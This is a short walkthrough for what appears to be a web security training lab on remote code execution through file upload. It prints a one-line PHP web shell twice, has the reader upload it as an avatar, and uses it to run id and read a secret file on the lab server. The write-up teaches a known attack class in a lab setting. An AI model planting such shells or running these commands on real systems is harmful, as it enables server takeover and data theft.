Lab: Remote code execution via web shell upload #lab1

Solution:

Access the lab login using given credentials, create a basic php web shell(below i give it) & upload in upload avatar.

<?php
system($_GET['cmd']);
?>

<?php
system($_GET['cmd']);
?>

In linux use nano or vim text editor or use echo.

• After upload it say's The file avatars/exploit.php has been uploaded.
• so next go to source code to see full path.

• You can also verify it using ?cmd=id
• Next go to this path: /files/avatars/exploit.php?cmd=cat /home/carlos/secret to got the secret.